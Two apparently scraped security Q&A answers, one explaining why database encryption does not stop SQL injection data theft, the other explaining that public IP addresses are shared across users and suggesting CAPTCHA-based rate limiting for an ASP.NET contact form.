An encrypted database protects the database against attacks on the filesystem or storage. If someone manages to get a shell on the server, or gets the credentials to the SAN storage, they cannot make a copy of the database and run with its data.

On the other hand, the applications need access to the database, so they must have the credentials and the encryption keys for it. If an application can access the data, so can an attacker.

If the application is vulnerable to SQL Injection, an attacker can extract data from the database even if the database itself is encrypted.


Can two users share the same Request.UserHostAddress? I am working on an ASP.NET MVC-5 web application, which is available to public users (no login is required). And I need to prevent the same user from submitting more than 5 "contact us" requests within an hour. So I need a way to differentiate if the Request I am receiving is coming from the same user or not.

I found the Request.UserHostAddress , which will contain the user IP (if I am not wrong the public IP). but my question is will this value be unique per user all over the world? Or could users share this value?
If the answer is that users might share the Request.UserHostAddress, then which value will give me better way to "authenticate" the user?

Yes, this address can be shared by multiple users. For example:

Mobile phone providers often route their 3G/4G traffic for their subscribers via the same public IP.
Some ISPs have shared public IP addresses - historically notably AOL.
Corporations often have single or multiple gateways, meaning their employee traffic will be shared via the same external interface.

In your case you are not really authenticating clients based upon their IP, you are attempting to rate limit them. One solution could be to allow as many submissions from an IP, however if you detect over say five per hour coming from the same location then you could display a CAPTCHA that has to be completed.

Google are attempting to make these easier for people to complete with their Recaptcha v2 project.